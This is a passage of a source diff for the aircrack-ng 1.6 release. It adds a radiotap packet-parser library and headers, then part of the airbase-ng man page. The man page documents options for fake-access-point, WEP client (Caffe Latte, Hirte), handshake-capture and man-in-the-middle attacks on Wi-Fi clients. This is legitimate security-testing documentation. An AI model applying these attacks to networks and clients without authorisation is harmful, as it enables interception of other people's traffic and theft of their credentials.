+	[IEEE80211_RADIOTAP_RX_FLAGS] = { .align = 2, .size = 2, },
+	[IEEE80211_RADIOTAP_TX_FLAGS] = { .align = 2, .size = 2, },
+	[IEEE80211_RADIOTAP_RTS_RETRIES] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_DATA_RETRIES] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_MCS] = { .align = 1, .size = 3, },
+	[IEEE80211_RADIOTAP_AMPDU_STATUS] = { .align = 4, .size = 8, },
+	[IEEE80211_RADIOTAP_VHT] = { .align = 2, .size = 12, },
+	[IEEE80211_RADIOTAP_TIMESTAMP] = { .align = 8, .size = 12, },
+	/*
+	 * add more here as they are defined in radiotap.h
+	 */
+};
+
+static const struct ieee80211_radiotap_namespace radiotap_ns = {
+	.n_bits = sizeof(rtap_namespace_sizes) / sizeof(rtap_namespace_sizes[0]),
+	.align_size = rtap_namespace_sizes,
+};
+
+/**
+ * ieee80211_radiotap_iterator_init - radiotap parser iterator initialization
+ * @iterator: radiotap_iterator to initialize
+ * @radiotap_header: radiotap header to parse
+ * @max_length: total length we can parse into (eg, whole packet length)
+ *
+ * Returns: 0 or a negative error code if there is a problem.
+ *
+ * This function initializes an opaque iterator struct which can then
+ * be passed to ieee80211_radiotap_iterator_next() to visit every radiotap
+ * argument which is present in the header.  It knows about extended
+ * present headers and handles them.
+ *
+ * How to use:
+ * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator
+ * struct ieee80211_radiotap_iterator (no need to init the struct beforehand)
+ * checking for a good 0 return code.  Then loop calling
+ * __ieee80211_radiotap_iterator_next()... it returns either 0,
+ * -ENOENT if there are no more args to parse, or -EINVAL if there is a problem.
+ * The iterator's @this_arg member points to the start of the argument
+ * associated with the current argument index that is present, which can be
+ * found in the iterator's @this_arg_index member.  This arg index corresponds
+ * to the IEEE80211_RADIOTAP_... defines.
+ *
+ * Radiotap header length:
+ * You can find the CPU-endian total radiotap header length in
+ * iterator->max_length after executing ieee80211_radiotap_iterator_init()
+ * successfully.
+ *
+ * Alignment Gotcha:
+ * You must take care when dereferencing iterator.this_arg
+ * for multibyte types... the pointer is not aligned.  Use
+ * get_unaligned((type *)iterator.this_arg) to dereference
+ * iterator.this_arg for type "type" safely on all arches.
+ *
+ * Example code: parse.c
+ */
+
+EXPORT
+int ieee80211_radiotap_iterator_init(
+	struct ieee80211_radiotap_iterator *iterator,
+	struct ieee80211_radiotap_header *radiotap_header,
+	int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns)
+{
+	/* must at least have the radiotap header */
+	if (max_length < (int)sizeof(struct ieee80211_radiotap_header))
+		return -EINVAL;
+
+	/* Linux only supports version 0 radiotap format */
+	if (radiotap_header->it_version)
+		return -EINVAL;
+
+	/* sanity check for allowed length and radiotap length field */
+	if (max_length < get_unaligned_le16(UNALIGNED_ADDRESS(&radiotap_header->it_len)))
+		return -EINVAL;
+
+	iterator->_rtheader = radiotap_header;
+	iterator->_max_length = get_unaligned_le16(UNALIGNED_ADDRESS(&radiotap_header->it_len));
+	iterator->_arg_index = 0;
+	iterator->_bitmap_shifter = get_unaligned_le32(UNALIGNED_ADDRESS(&radiotap_header->it_present));
+	iterator->_arg = (uint8_t *)radiotap_header + sizeof(*radiotap_header);
+	iterator->_reset_on_ext = 0;
+	iterator->_next_bitmap = UNALIGNED_ADDRESS(&radiotap_header->it_present);
+	iterator->_next_bitmap++;
+	iterator->_vns = vns;
+	iterator->current_namespace = &radiotap_ns;
+	iterator->is_radiotap_ns = 1;
+#ifdef RADIOTAP_SUPPORT_OVERRIDES
+	iterator->n_overrides = 0;
+	iterator->overrides = NULL;
+#endif
+
+	/* find payload start allowing for extended bitmap(s) */
+
+	if (iterator->_bitmap_shifter & (1<<IEEE80211_RADIOTAP_EXT)) {
+		if ((unsigned long)iterator->_arg -
+		    (unsigned long)iterator->_rtheader + sizeof(uint32_t) >
+		    (unsigned long)iterator->_max_length)
+			return -EINVAL;
+		while (get_unaligned_le32(iterator->_arg) &
+					(1 << IEEE80211_RADIOTAP_EXT)) {
+			iterator->_arg += sizeof(uint32_t);
+
+			/*
+			 * check for insanity where the present bitmaps
+			 * keep claiming to extend up to or even beyond the
+			 * stated radiotap header length
+			 */
+
+			if ((unsigned long)iterator->_arg -
+			    (unsigned long)iterator->_rtheader +
+			    sizeof(uint32_t) >
+			    (unsigned long)iterator->_max_length)
+				return -EINVAL;
+		}
+
+		iterator->_arg += sizeof(uint32_t);
+
+		/*
+		 * no need to check again for blowing past stated radiotap
+		 * header length, because ieee80211_radiotap_iterator_next
+		 * checks it before it is dereferenced
+		 */
+	}
+
+	iterator->this_arg = iterator->_arg;
+
+	/* we are all initialized happily */
+
+	return 0;
+}
+
+static void find_ns(struct ieee80211_radiotap_iterator *iterator,
+		    uint32_t oui, uint8_t subns)
+{
+	int i;
+
+	iterator->current_namespace = NULL;
+
+	if (!iterator->_vns)
+		return;
+
+	for (i = 0; i < iterator->_vns->n_ns; i++) {
+		if (iterator->_vns->ns[i].oui != oui)
+			continue;
+		if (iterator->_vns->ns[i].subns != subns)
+			continue;
+
+		iterator->current_namespace = &iterator->_vns->ns[i];
+		break;
+	}
+}
+
+#ifdef RADIOTAP_SUPPORT_OVERRIDES
+static int find_override(struct ieee80211_radiotap_iterator *iterator,
+			 int *align, int *size)
+{
+	int i;
+
+	if (!iterator->overrides)
+		return 0;
+
+	for (i = 0; i < iterator->n_overrides; i++) {
+		if (iterator->_arg_index == iterator->overrides[i].field) {
+			*align = iterator->overrides[i].align;
+			*size = iterator->overrides[i].size;
+			if (!*align) /* erroneous override */
+				return 0;
+			return 1;
+		}
+	}
+
+	return 0;
+}
+#endif
+
+
+/**
+ * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg
+ * @iterator: radiotap_iterator to move to next arg (if any)
+ *
+ * Returns: 0 if there is an argument to handle,
+ * -ENOENT if there are no more args or -EINVAL
+ * if there is something else wrong.
+ *
+ * This function provides the next radiotap arg index (IEEE80211_RADIOTAP_*)
+ * in @this_arg_index and sets @this_arg to point to the
+ * payload for the field.  It takes care of alignment handling and extended
+ * present fields.  @this_arg can be changed by the caller (eg,
+ * incremented to move inside a compound argument like
+ * IEEE80211_RADIOTAP_CHANNEL).  The args pointed to are in
+ * little-endian format whatever the endianness of your CPU.
+ *
+ * Alignment Gotcha:
+ * You must take care when dereferencing iterator.this_arg
+ * for multibyte types... the pointer is not aligned.  Use
+ * get_unaligned((type *)iterator.this_arg) to dereference
+ * iterator.this_arg for type "type" safely on all arches.
+ */
+
+EXPORT
+int ieee80211_radiotap_iterator_next(
+	struct ieee80211_radiotap_iterator *iterator)
+{
+	while (1) {
+		int hit = 0;
+		int pad, align, size, subns;
+		uint32_t oui;
+
+		/* if no more EXT bits, that's it */
+		if ((iterator->_arg_index % 32) == IEEE80211_RADIOTAP_EXT &&
+		    !(iterator->_bitmap_shifter & 1))
+			return -ENOENT;
+
+		if (!(iterator->_bitmap_shifter & 1))
+			goto next_entry; /* arg not present */
+
+		/* get alignment/size of data */
+		switch (iterator->_arg_index % 32) {
+		case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE:
+		case IEEE80211_RADIOTAP_EXT:
+			align = 1;
+			size = 0;
+			break;
+		case IEEE80211_RADIOTAP_VENDOR_NAMESPACE:
+			align = 2;
+			size = 6;
+			break;
+		default:
+#ifdef RADIOTAP_SUPPORT_OVERRIDES
+			if (find_override(iterator, &align, &size)) {
+				/* all set */
+			} else
+#endif
+			if (!iterator->current_namespace ||
+			    iterator->_arg_index >= iterator->current_namespace->n_bits) {
+				if (iterator->current_namespace == &radiotap_ns)
+					return -ENOENT;
+				align = 0;
+			} else {
+				align = iterator->current_namespace->align_size[iterator->_arg_index].align;
+				size = iterator->current_namespace->align_size[iterator->_arg_index].size;
+			}
+			if (!align) {
+				/* skip all subsequent data */
+				iterator->_arg = iterator->_next_ns_data;
+				/* give up on this namespace */
+				iterator->current_namespace = NULL;
+				goto next_entry;
+			}
+			break;
+		}
+
+		/*
+		 * arg is present, account for alignment padding
+		 *
+		 * Note that these alignments are relative to the start
+		 * of the radiotap header.  There is no guarantee
+		 * that the radiotap header itself is aligned on any
+		 * kind of boundary.
+		 *
+		 * The above is why get_unaligned() is used to dereference
+		 * multibyte elements from the radiotap area.
+		 */
+
+		pad = ((unsigned long)iterator->_arg -
+		       (unsigned long)iterator->_rtheader) & (align - 1);
+
+		if (pad)
+			iterator->_arg += align - pad;
+
+		if (iterator->_arg_index % 32 == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) {
+			int vnslen;
+
+			if ((unsigned long)iterator->_arg + size -
+			    (unsigned long)iterator->_rtheader >
+			    (unsigned long)iterator->_max_length)
+				return -EINVAL;
+
+			oui = (*iterator->_arg << 16) |
+				(*(iterator->_arg + 1) << 8) |
+				*(iterator->_arg + 2);
+			subns = *(iterator->_arg + 3);
+
+			find_ns(iterator, oui, subns);
+
+			vnslen = get_unaligned_le16(iterator->_arg + 4);
+			iterator->_next_ns_data = iterator->_arg + size + vnslen;
+			if (!iterator->current_namespace)
+				size += vnslen;
+		}
+
+		/*
+		 * this is what we will return to user, but we need to
+		 * move on first so next call has something fresh to test
+		 */
+		iterator->this_arg_index = iterator->_arg_index;
+		iterator->this_arg = iterator->_arg;
+		iterator->this_arg_size = size;
+
+		/* internally move on the size of this arg */
+		iterator->_arg += size;
+
+		/*
+		 * check for insanity where we are given a bitmap that
+		 * claims to have more arg content than the length of the
+		 * radiotap section.  We will normally end up equalling this
+		 * max_length on the last arg, never exceeding it.
+		 */
+
+		if ((unsigned long)iterator->_arg -
+		    (unsigned long)iterator->_rtheader >
+		    (unsigned long)iterator->_max_length)
+			return -EINVAL;
+
+		/* these special ones are valid in each bitmap word */
+		switch (iterator->_arg_index % 32) {
+		case IEEE80211_RADIOTAP_VENDOR_NAMESPACE:
+			iterator->_reset_on_ext = 1;
+
+			iterator->is_radiotap_ns = 0;
+			/*
+			 * If parser didn't register this vendor
+			 * namespace with us, allow it to show it
+			 * as 'raw. Do do that, set argument index
+			 * to vendor namespace.
+			 */
+			iterator->this_arg_index =
+				IEEE80211_RADIOTAP_VENDOR_NAMESPACE;
+			if (!iterator->current_namespace)
+				hit = 1;
+			goto next_entry;
+		case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE:
+			iterator->_reset_on_ext = 1;
+			iterator->current_namespace = &radiotap_ns;
+			iterator->is_radiotap_ns = 1;
+			goto next_entry;
+		case IEEE80211_RADIOTAP_EXT:
+			/*
+			 * bit 31 was set, there is more
+			 * -- move to next u32 bitmap
+			 */
+			iterator->_bitmap_shifter =
+				get_unaligned_le32(iterator->_next_bitmap);
+			iterator->_next_bitmap++;
+			if (iterator->_reset_on_ext)
+				iterator->_arg_index = 0;
+			else
+				iterator->_arg_index++;
+			iterator->_reset_on_ext = 0;
+			break;
+		default:
+			/* we've got a hit! */
+			hit = 1;
+ next_entry:
+			iterator->_bitmap_shifter >>= 1;
+			iterator->_arg_index++;
+		}
+
+		/* if we found a valid arg earlier, return it now */
+		if (hit)
+			return 0;
+	}
+}

aircrack-ng-1.6.tar.gz/lib/radiotap/radiotap.h Added

@@ -0,0 +1,217 @@
+/*
+ * Copyright (c) 2017		Intel Deutschland GmbH
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ */
+#ifndef __RADIOTAP_H
+#define __RADIOTAP_H
+
+#if defined(__APPLE__)
+#include <libkern/OSByteOrder.h>
+#define bswap_16 OSSwapInt16
+#define bswap_32 OSSwapInt32
+#define bswap_64 OSSwapInt64
+#include <machine/endian.h>
+#ifndef le16toh
+#define le16toh(x) OSSwapLittleToHostInt16(x)
+#endif
+#ifndef le32toh
+#define le32toh(x) OSSwapLittleToHostInt32(x)
+#endif
+#ifndef le64toh
+#define le64toh(x) OSSwapLittleToHostInt64(x)
+#endif
+#endif
+
+/**
+ * struct ieee82011_radiotap_header - base radiotap header
+ */
+struct ieee80211_radiotap_header {
+	/**
+	 * @it_version: radiotap version, always 0
+	 */
+	uint8_t it_version;
+
+	/**
+	 * @it_pad: padding (or alignment)
+	 */
+	uint8_t it_pad;
+
+	/**
+	 * @it_len: overall radiotap header length
+	 */
+	uint16_t it_len;
+
+	/**
+	 * @it_present: (first) present word
+	 */
+	uint32_t it_present;
+} __packed;
+
+/* version is always 0 */
+#define PKTHDR_RADIOTAP_VERSION	0
+
+/* see the radiotap website for the descriptions */
+enum ieee80211_radiotap_presence {
+	IEEE80211_RADIOTAP_TSFT = 0,
+	IEEE80211_RADIOTAP_FLAGS = 1,
+	IEEE80211_RADIOTAP_RATE = 2,
+	IEEE80211_RADIOTAP_CHANNEL = 3,
+	IEEE80211_RADIOTAP_FHSS = 4,
+	IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5,
+	IEEE80211_RADIOTAP_DBM_ANTNOISE = 6,
+	IEEE80211_RADIOTAP_LOCK_QUALITY = 7,
+	IEEE80211_RADIOTAP_TX_ATTENUATION = 8,
+	IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9,
+	IEEE80211_RADIOTAP_DBM_TX_POWER = 10,
+	IEEE80211_RADIOTAP_ANTENNA = 11,
+	IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12,
+	IEEE80211_RADIOTAP_DB_ANTNOISE = 13,
+	IEEE80211_RADIOTAP_RX_FLAGS = 14,
+	IEEE80211_RADIOTAP_TX_FLAGS = 15,
+	IEEE80211_RADIOTAP_RTS_RETRIES = 16,
+	IEEE80211_RADIOTAP_DATA_RETRIES = 17,
+	/* 18 is XChannel, but it's not defined yet */
+	IEEE80211_RADIOTAP_MCS = 19,
+	IEEE80211_RADIOTAP_AMPDU_STATUS = 20,
+	IEEE80211_RADIOTAP_VHT = 21,
+	IEEE80211_RADIOTAP_TIMESTAMP = 22,
+
+	/* valid in every it_present bitmap, even vendor namespaces */
+	IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE = 29,
+	IEEE80211_RADIOTAP_VENDOR_NAMESPACE = 30,
+	IEEE80211_RADIOTAP_EXT = 31
+};
+
+/* for IEEE80211_RADIOTAP_FLAGS */
+enum ieee80211_radiotap_flags {
+	IEEE80211_RADIOTAP_F_CFP = 0x01,
+	IEEE80211_RADIOTAP_F_SHORTPRE = 0x02,
+	IEEE80211_RADIOTAP_F_WEP = 0x04,
+	IEEE80211_RADIOTAP_F_FRAG = 0x08,
+	IEEE80211_RADIOTAP_F_FCS = 0x10,
+	IEEE80211_RADIOTAP_F_DATAPAD = 0x20,
+	IEEE80211_RADIOTAP_F_BADFCS = 0x40,
+};
+
+/* for IEEE80211_RADIOTAP_CHANNEL */
+enum ieee80211_radiotap_channel_flags {
+	IEEE80211_CHAN_CCK = 0x0020,
+	IEEE80211_CHAN_OFDM = 0x0040,
+	IEEE80211_CHAN_2GHZ = 0x0080,
+	IEEE80211_CHAN_5GHZ = 0x0100,
+	IEEE80211_CHAN_DYN = 0x0400,
+	IEEE80211_CHAN_HALF = 0x4000,
+	IEEE80211_CHAN_QUARTER = 0x8000,
+};
+
+/* for IEEE80211_RADIOTAP_RX_FLAGS */
+enum ieee80211_radiotap_rx_flags {
+	IEEE80211_RADIOTAP_F_RX_BADPLCP = 0x0002,
+};
+
+/* for IEEE80211_RADIOTAP_TX_FLAGS */
+enum ieee80211_radiotap_tx_flags {
+	IEEE80211_RADIOTAP_F_TX_FAIL = 0x0001,
+	IEEE80211_RADIOTAP_F_TX_CTS = 0x0002,
+	IEEE80211_RADIOTAP_F_TX_RTS = 0x0004,
+	IEEE80211_RADIOTAP_F_TX_NOACK = 0x0008,
+};
+
+/* for IEEE80211_RADIOTAP_MCS "have" flags */
+enum ieee80211_radiotap_mcs_have {
+	IEEE80211_RADIOTAP_MCS_HAVE_BW = 0x01,
+	IEEE80211_RADIOTAP_MCS_HAVE_MCS = 0x02,
+	IEEE80211_RADIOTAP_MCS_HAVE_GI = 0x04,
+	IEEE80211_RADIOTAP_MCS_HAVE_FMT = 0x08,
+	IEEE80211_RADIOTAP_MCS_HAVE_FEC = 0x10,
+	IEEE80211_RADIOTAP_MCS_HAVE_STBC = 0x20,
+};
+
+enum ieee80211_radiotap_mcs_flags {
+	IEEE80211_RADIOTAP_MCS_BW_MASK = 0x03,
+	IEEE80211_RADIOTAP_MCS_BW_20 = 0,
+	IEEE80211_RADIOTAP_MCS_BW_40 = 1,
+	IEEE80211_RADIOTAP_MCS_BW_20L = 2,
+	IEEE80211_RADIOTAP_MCS_BW_20U = 3,
+
+	IEEE80211_RADIOTAP_MCS_SGI = 0x04,
+	IEEE80211_RADIOTAP_MCS_FMT_GF = 0x08,
+	IEEE80211_RADIOTAP_MCS_FEC_LDPC = 0x10,
+	IEEE80211_RADIOTAP_MCS_STBC_MASK = 0x60,
+	IEEE80211_RADIOTAP_MCS_STBC_1 = 1,
+	IEEE80211_RADIOTAP_MCS_STBC_2 = 2,
+	IEEE80211_RADIOTAP_MCS_STBC_3 = 3,
+	IEEE80211_RADIOTAP_MCS_STBC_SHIFT = 5,
+};
+
+/* for IEEE80211_RADIOTAP_AMPDU_STATUS */
+enum ieee80211_radiotap_ampdu_flags {
+	IEEE80211_RADIOTAP_AMPDU_REPORT_ZEROLEN = 0x0001,
+	IEEE80211_RADIOTAP_AMPDU_IS_ZEROLEN = 0x0002,
+	IEEE80211_RADIOTAP_AMPDU_LAST_KNOWN = 0x0004,
+	IEEE80211_RADIOTAP_AMPDU_IS_LAST = 0x0008,
+	IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_ERR = 0x0010,
+	IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_KNOWN = 0x0020,
+};
+
+/* for IEEE80211_RADIOTAP_VHT */
+enum ieee80211_radiotap_vht_known {
+	IEEE80211_RADIOTAP_VHT_KNOWN_STBC = 0x0001,
+	IEEE80211_RADIOTAP_VHT_KNOWN_TXOP_PS_NA = 0x0002,
+	IEEE80211_RADIOTAP_VHT_KNOWN_GI = 0x0004,
+	IEEE80211_RADIOTAP_VHT_KNOWN_SGI_NSYM_DIS = 0x0008,
+	IEEE80211_RADIOTAP_VHT_KNOWN_LDPC_EXTRA_OFDM_SYM = 0x0010,
+	IEEE80211_RADIOTAP_VHT_KNOWN_BEAMFORMED = 0x0020,
+	IEEE80211_RADIOTAP_VHT_KNOWN_BANDWIDTH = 0x0040,
+	IEEE80211_RADIOTAP_VHT_KNOWN_GROUP_ID = 0x0080,
+	IEEE80211_RADIOTAP_VHT_KNOWN_PARTIAL_AID = 0x0100,
+};
+
+enum ieee80211_radiotap_vht_flags {
+	IEEE80211_RADIOTAP_VHT_FLAG_STBC = 0x01,
+	IEEE80211_RADIOTAP_VHT_FLAG_TXOP_PS_NA = 0x02,
+	IEEE80211_RADIOTAP_VHT_FLAG_SGI = 0x04,
+	IEEE80211_RADIOTAP_VHT_FLAG_SGI_NSYM_M10_9 = 0x08,
+	IEEE80211_RADIOTAP_VHT_FLAG_LDPC_EXTRA_OFDM_SYM = 0x10,
+	IEEE80211_RADIOTAP_VHT_FLAG_BEAMFORMED = 0x20,
+};
+
+enum ieee80211_radiotap_vht_coding {
+	IEEE80211_RADIOTAP_CODING_LDPC_USER0 = 0x01,
+	IEEE80211_RADIOTAP_CODING_LDPC_USER1 = 0x02,
+	IEEE80211_RADIOTAP_CODING_LDPC_USER2 = 0x04,
+	IEEE80211_RADIOTAP_CODING_LDPC_USER3 = 0x08,
+};
+
+/* for IEEE80211_RADIOTAP_TIMESTAMP */
+enum ieee80211_radiotap_timestamp_unit_spos {
+	IEEE80211_RADIOTAP_TIMESTAMP_UNIT_MASK = 0x000F,
+	IEEE80211_RADIOTAP_TIMESTAMP_UNIT_MS = 0x0000,
+	IEEE80211_RADIOTAP_TIMESTAMP_UNIT_US = 0x0001,
+	IEEE80211_RADIOTAP_TIMESTAMP_UNIT_NS = 0x0003,
+	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_MASK = 0x00F0,
+	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_BEGIN_MDPU = 0x0000,
+	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_PLCP_SIG_ACQ = 0x0010,
+	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_EO_PPDU = 0x0020,
+	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_EO_MPDU = 0x0030,
+	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_UNKNOWN = 0x00F0,
+};
+
+enum ieee80211_radiotap_timestamp_flags {
+	IEEE80211_RADIOTAP_TIMESTAMP_FLAG_64BIT = 0x00,
+	IEEE80211_RADIOTAP_TIMESTAMP_FLAG_32BIT = 0x01,
+	IEEE80211_RADIOTAP_TIMESTAMP_FLAG_ACCURACY = 0x02,
+};
+
+#endif /* __RADIOTAP_H */

aircrack-ng-1.6.tar.gz/lib/radiotap/radiotap_iter.h Added

@@ -0,0 +1,101 @@
+#ifndef __RADIOTAP_ITER_H
+#define __RADIOTAP_ITER_H
+
+#include <stdint.h>
+#include "radiotap.h"
+#include "platform.h"
+
+/* Radiotap header iteration
+ *   implemented in radiotap.c
+ */
+
+struct radiotap_override {
+	uint8_t field;
+	uint8_t align:4, size:4;
+};
+
+struct radiotap_align_size {
+	uint8_t align:4, size:4;
+};
+
+struct ieee80211_radiotap_namespace {
+	const struct radiotap_align_size *align_size;
+	int n_bits;
+	uint32_t oui;
+	uint8_t subns;
+};
+
+struct ieee80211_radiotap_vendor_namespaces {
+	const struct ieee80211_radiotap_namespace *ns;
+	int n_ns;
+};
+
+/**
+ * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args
+ * @this_arg_index: index of current arg, valid after each successful call
+ *	to ieee80211_radiotap_iterator_next()
+ * @this_arg: pointer to current radiotap arg; it is valid after each
+ *	call to ieee80211_radiotap_iterator_next() but also after
+ *	ieee80211_radiotap_iterator_init() where it will point to
+ *	the beginning of the actual data portion
+ * @this_arg_size: length of the current arg, for convenience
+ * @current_namespace: pointer to the current namespace definition
+ *	(or internally %NULL if the current namespace is unknown)
+ * @is_radiotap_ns: indicates whether the current namespace is the default
+ *	radiotap namespace or not
+ *
+ * @overrides: override standard radiotap fields
+ * @n_overrides: number of overrides
+ *
+ * @_rtheader: pointer to the radiotap header we are walking through
+ * @_max_length: length of radiotap header in cpu byte ordering
+ * @_arg_index: next argument index
+ * @_arg: next argument pointer
+ * @_next_bitmap: internal pointer to next present u32
+ * @_bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present
+ * @_vns: vendor namespace definitions
+ * @_next_ns_data: beginning of the next namespace's data
+ * @_reset_on_ext: internal; reset the arg index to 0 when going to the
+ *	next bitmap word
+ *
+ * Describes the radiotap parser state. Fields prefixed with an underscore
+ * must not be used by users of the parser, only by the parser internally.
+ */
+
+struct ieee80211_radiotap_iterator {
+	struct ieee80211_radiotap_header *_rtheader;
+	const struct ieee80211_radiotap_vendor_namespaces *_vns;
+	const struct ieee80211_radiotap_namespace *current_namespace;
+
+	unsigned char *_arg, *_next_ns_data;
+	uint32_t *_next_bitmap;
+
+	unsigned char *this_arg;
+	const struct radiotap_override *overrides;	/* Only for RADIOTAP_SUPPORT_OVERRIDES */
+	int n_overrides;				/* Only for RADIOTAP_SUPPORT_OVERRIDES */
+	int this_arg_index;
+	int this_arg_size;
+
+	int is_radiotap_ns;
+
+	int _max_length;
+	int _arg_index;
+	uint32_t _bitmap_shifter;
+	int _reset_on_ext;
+};
+
+#ifdef __cplusplus
+#define CALLING_CONVENTION "C"
+#else
+#define CALLING_CONVENTION
+#endif
+
+IMPORT extern CALLING_CONVENTION int ieee80211_radiotap_iterator_init(
+	struct ieee80211_radiotap_iterator *iterator,
+	struct ieee80211_radiotap_header *radiotap_header,
+	int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns);
+
+IMPORT extern CALLING_CONVENTION int ieee80211_radiotap_iterator_next(
+	struct ieee80211_radiotap_iterator *iterator);
+
+#endif /* __RADIOTAP_ITER_H */

aircrack-ng-1.4.tar.gz/manpages/Makefile.am -> aircrack-ng-1.6.tar.gz/manpages/Makefile.am Changed

aircrack-ng-1.6.tar.gz/manpages/airbase-ng.8.in Added

@@ -0,0 +1,217 @@
+.TH AIRBASE-NG 8 "@MAN_RELEASE_DATE@" "@MAN_RELEASE_VERSION@"
+
+.SH NAME
+airbase-ng - multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself
+.SH SYNOPSIS
+.B airbase-ng
+[options] <interface name>
+.SH DESCRIPTION
+.BI airbase-ng
+is multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself. Since it is so versatile and flexible, summarizing it is a challenge. Here are some of the feature highlights: 
+.PP
+- Implements the Caffe Latte WEP client attack
+.br
+- Implements the Hirte WEP client attack
+.br
+- Ability to cause the WPA/WPA2 handshake to be captured
+.br
+- Ability to act as an ad-hoc Access Point
+.br
+- Ability to act as a full Access Point
+.br
+- Ability to filter by SSID or client MAC addresses
+.br
+- Ability to manipulate and resend packets
+.br
+- Ability to encrypt sent packets and decrypt received packets
+.PP
+The main idea is of the implementation is that it should encourage clients to associate with the fake AP, not prevent them from accessing the real AP. 
+
+A tap interface (atX) is created when airbase-ng is run. This can be used to receive decrypted packets or to send encrypted packets. 
+
+As real clients will most probably send probe requests for common/configured networks, these frames are important for binding a client to our softAP. In this case, the AP will respond to any probe request with a proper probe response, which tells the client to authenticate to the airbase-ng BSSID. That being said, this mode could possibly disrupt the correct functionality of many APs on the same channel. 
+.SH OPTIONS
+.PP
+.TP
+.I -H, --help
+Shows the help screen.
+.TP
+.I -a <bssid>
+If the BSSID is not explicitly specified by using "-a <BSSID>", then the current MAC of the specified interface is used.
+.TP
+.I -i <iface>
+Also capture and process from this interface in addition to the replay interface.
+.TP
+.I -w <WEP key>
+If WEP should be used as encryption, then the parameter "-w <WEP key>" sets the en-/decryption key. This is sufficient to let airbase-ng set all the appropriate flags by itself. 
+If the softAP operates with WEP encryption, the client can choose to use open system authentication or shared key authentication. Both authentication methods are supported by airbase-ng. But to get a keystream, the user can try to force the client to use shared key authentication. "-s" forces a shared key auth and "-S <len>" sets the challenge length.
+.TP
+.I -h <MAC>
+This is the source MAC for the man-in-the-middle attack. The "-M" must also be specified.
+.TP
+.I -f <disallow>
+If this option is not specified, it defaults to "-f allow". This means the various client MAC filters (-d and -D) define which clients to accept. 
+
+By using the "-f disallow" option, this reverses selection and causes airbase to ignore the clients specified by the filters.
+.TP
+.I -W <0|1>
+This sets the beacon WEP flag. Remember that clients will normally only connect to APs which are the same as themselves. Meaning WEP to WEP, open to open. 
+
+The "auto" option is to allow airbase-ng to automatically set the flag based on context of the other options specified. For example, if you set a WEP key with -w, then the beacon flag would be set to WEP. 
+
+One other use of "auto" is to deal with clients which can automatically adjust their connection type. However, these are few and far between. 
+
+In practice, it is best to set the value to the type of clients you are dealing with. 
+.TP
+.I -q
+This suppresses printing any statistics or status information.
+.TP
+.I -v
+This prints additional messages and details to assist in debugging.
+.TP
+.I -M
+This option is not implemented yet. It is a man-in-the-middle attack between specified clients and BSSIDs.
+.TP
+.I -A, --ad-hoc
+This causes airbase-ng to act as an ad-hoc client instead of a normal Access Point. 
+
+In ad-hoc mode airbase-ng also sends beacons, but doesn\(aqt need any authentication/association. It can be activated by using "-A". The soft AP will adjust all flags needed to simulate a station in ad-hoc mode automatically and generate a random MAC, which is used as CELL MAC instead of the BSSID. This can be overwritten by the "-a <BSSID>" tag. The interface MAC will then be used as source mac, which can be changed with "-h <sourceMAC>".
+.TP
+.I -Y <in|out|both>
+The parameter "-Y" enables the "external processing" Mode. This creates a second interface "atX", which is used to replay/modify/drop or inject packets at will. This interface must also be brought up with ifconfig and an external tool is needed to create a loop on that interface. 
+
+The packet structure is rather simple: the ethernet header (14 bytes) is ignored and right after that follows the complete ieee80211 frame the same way it is going to be processed by airbase-ng (for incoming packets) or before the packets will be sent out of the wireless card (outgoing packets). This mode intercepts all data packets and loops them through an external application, which decides what happens with them. The MAC and IP of the second tap interface doesn\(aqt matter, as real ethernet frames on this interface are dropped anyway. 
+
+There are 3 arguments for "-Y": "in", "out" and "both", which specify the direction of frames to loop through the external application. Obviously "in" redirects only incoming (through the wireless NIC) frames, while outgoing frames aren\(aqt touched. "out" does the opposite, it only loops outgoing packets and "both" sends all both directions through the second tap interface. 
+
+There is a small and simple example application to replay all frames on the second interface. The tool is called "replay.py" and is located in "./test". It\(aqs written in python, but the language doesn\(aqt matter. It uses pcapy to read the frames and scapy to possibly alter/show and reinject the frames. The tool as it is, simply replays all frames and prints a short summary of the received frames. The variable "packet" contains the complete ieee80211 packet, which can easily be dissected and modified using scapy. 
+
+This can be compared to ettercap filters, but is more powerful, as a real programming language can be used to build complex logic for filtering and packet customization. The downside on using python is, that it adds a delay of around 100ms and the cpu utilizations is rather large on a high speed network, but its perfect for a demonstration with only a few lines of code.
+.TP
+.I -c <channel>
